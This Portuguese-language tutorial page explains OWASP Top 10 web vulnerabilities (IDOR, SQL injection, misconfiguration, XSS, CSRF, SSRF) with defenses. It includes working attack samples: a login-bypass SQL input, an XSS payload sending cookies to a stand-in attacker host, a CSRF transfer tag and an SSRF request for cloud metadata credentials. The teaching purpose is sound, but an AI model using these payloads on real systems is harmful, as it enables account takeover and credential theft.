> ## Documentation Index
> Fetch the complete documentation index at: https://roadtocybersec.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Vulnerabilidades Web

> O OWASP Top 10, ataques de injeção, XSS, CSRF, SSRF, autenticação quebrada e configurações inseguras, com exemplos reais.

# Vulnerabilidades Web (Web Vulnerabilities)

Aplicações web modernas são sistemas complexos construídos sobre camadas de frameworks, bibliotecas, APIs, bancos de dados e serviços de terceiros. Cada camada introduz vulnerabilidades potenciais que atacantes ativamente caçam.

O **OWASP (Open Worldwide Application Security Project, ou Projeto Aberto de Segurança de Aplicações Web)** mantém a lista padrão da indústria dos riscos mais críticos.

## A01: Controle de Acesso Quebrado (Broken Access Control)

O risco #1 no OWASP Top 10 (2021). Ocorre quando usuários podem agir fora de suas permissões pretendidas.

### Falhas Comuns

* **IDOR (Insecure Direct Object Reference, ou Referência Direta Insegura a Objeto)**: Mudar um parâmetro na URL para acessar dados de outro usuário.

```
# Usuário 1001 visualiza sua própria fatura:
GET /api/invoices/1001

# Atacante muda o ID para ver a fatura do usuário 1002:
GET /api/invoices/1002    ← Sem verificação de autorização!
```

* **Escalação de privilégio (Privilege escalation)**: Usuário regular acessando funcionalidade de admin navegando diretamente para `/admin/dashboard`.
* **Controle de acesso ausente em nível de função**: A UI esconde o botão "Deletar Usuário" para não-admins, mas o endpoint `DELETE /api/users/123` não tem verificação no servidor.

<Warning>
  Nunca confie em controles do lado do cliente (esconder botões, desabilitar campos) para segurança. Toda autorização deve ser aplicada no **lado do servidor**. Atacantes ignoram completamente a UI e interagem diretamente com sua API.
</Warning>

## A03: Injeção (Injection)

Falhas de injeção ocorrem quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta.

### SQL Injection: Injeção SQL (SQLi)

O ataque de injeção mais conhecido. Um atacante manipula uma consulta SQL injetando código através da entrada do usuário.

**Código vulnerável:**

```python theme={null}
# NUNCA FAÇA ISSO - concatenação de strings com input do usuário
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
```

**Input do ataque:**

```
username: admin' --
password: qualquercoisa
```

**Consulta resultante:**

```sql theme={null}
SELECT * FROM users WHERE username = 'admin' --' AND password = 'qualquercoisa'
```

O `--` comenta a verificação de senha, concedendo acesso à conta admin sem saber a senha.

**Código seguro (consulta parametrizada, ou parameterized query):**

```python theme={null}
# SEMPRE use consultas parametrizadas
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)
```

## A05: Configuração Insegura (Security Misconfiguration)

A vulnerabilidade mais comum em implantações do mundo real. Ocorre quando configurações de segurança são deixadas em padrões inseguros.

### Configurações Inseguras Comuns

* Credenciais padrão de admin (`admin/admin`, `root/password`)
* Serviços, portas ou funcionalidades desnecessárias habilitadas
* Mensagens de erro verbosas expondo stack traces e caminhos internos
* Listagem de diretório habilitada em servidores web
* Headers de segurança ausentes (`Content-Security-Policy`, `X-Frame-Options`, `Strict-Transport-Security`)
* Buckets de armazenamento em nuvem (S3, GCS) deixados publicamente acessíveis

**Exemplo real**: Em 2017, um bucket AWS S3 mal configurado pertencente a um contratante militar dos EUA expôs dados de inteligência **Top Secret**: incluindo senhas, credenciais de segurança e chaves privadas de um sistema do Pentágono.

## A07: Cross-Site Scripting: XSS (Script entre Sites)

XSS ocorre quando uma aplicação inclui dados não confiáveis em uma página web sem validação ou codificação adequada.

### Tipos de XSS

| Tipo                              | Mecanismo                                                                                                                | Persistência    |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | --------------- |
| **Stored XSS (XSS Armazenado)**   | Script malicioso salvo no banco de dados (ex.: campo de comentário). Executa quando qualquer usuário visualiza a página. | Persistente     |
| **Reflected XSS (XSS Refletido)** | Script malicioso embutido em uma URL. Executa quando a vítima clica no link.                                             | Não persistente |
| **DOM-based XSS**                 | JavaScript do lado do cliente modifica o DOM usando dados não confiáveis.                                                | Não persistente |

**Exemplo de payload:**

```html theme={null}
<script>
  fetch('https://atacante.com/roubar?cookie=' + document.cookie)
</script>
```

### Defesa

* **Codificação de saída (Output encoding)**: Codifique todos os dados do usuário antes de renderizar em HTML, JavaScript, CSS ou URLs.
* **CSP (Content Security Policy, ou Política de Segurança de Conteúdo)**: Header que restringe quais scripts podem executar na página.
* **Proteções de frameworks**: React, Angular e Vue codificam saída automaticamente. Nunca ignore essas proteções (ex.: `dangerouslySetInnerHTML` no React) sem sanitização.

## A08: CSRF (Cross-Site Request Forgery: Falsificação de Requisição entre Sites)

CSRF engana o navegador da vítima para fazer uma requisição indesejada em um site onde ela está autenticada.

**Cenário de ataque:**

1. Vítima está logada no banco em `banco.com.br`.
2. Vítima visita uma página maliciosa contendo: `<img src="https://banco.com.br/transferir?para=atacante&valor=10000">`
3. O navegador inclui automaticamente o cookie de sessão da vítima.
4. O banco processa a transferência porque a requisição parece legítima.

### Defesa

* **Tokens Anti-CSRF**: Inclua um token único e imprevisível em cada formulário com mudança de estado.
* **Cookies SameSite**: Defina o atributo `SameSite` em cookies de sessão para `Strict` ou `Lax`.
* **Re-autenticação**: Para ações sensíveis, exija que o usuário reinsira sua senha.

## A10: SSRF (Server-Side Request Forgery: Falsificação de Requisição do Lado do Servidor)

SSRF ocorre quando um atacante pode fazer o servidor enviar requisições HTTP para destinos arbitrários, incluindo serviços internos não acessíveis pela internet.

```
# Requisição normal - buscar URL para preview
POST /api/fetch-url
{"url": "https://exemplo.com/artigo"}

# Ataque SSRF - acessar serviço interno de metadata
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
```

**Exemplo real**: A violação do Capital One em 2019 (100M+ registros de clientes expostos) foi possibilitada por uma vulnerabilidade SSRF que permitiu ao atacante acessar credenciais IAM da AWS.

### Defesa

* Valide e sanitize todas as URLs fornecidas pelo usuário
* Use allowlists (listas de permissão) para domínios/faixas de IP permitidos
* Bloqueie requisições para faixas de IP internas (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`, `169.254.x.x`)

## Principais Conclusões

1. **Nunca confie em input do usuário**: Valide, sanitize e codifique tudo.
2. **Autorize no servidor**: Controles do lado do cliente são cosméticos, não segurança.
3. **Use consultas parametrizadas**: A única defesa confiável contra SQL Injection.
4. **Implemente headers CSP**: Defesa em profundidade contra XSS.
5. **Proteja contra CSRF**: Use tokens anti-CSRF e cookies SameSite.
6. **Bloqueie SSRF**: Valide URLs, bloqueie IPs internos.
7. **Audite configurações**: Configurações padrão quase nunca são seguras.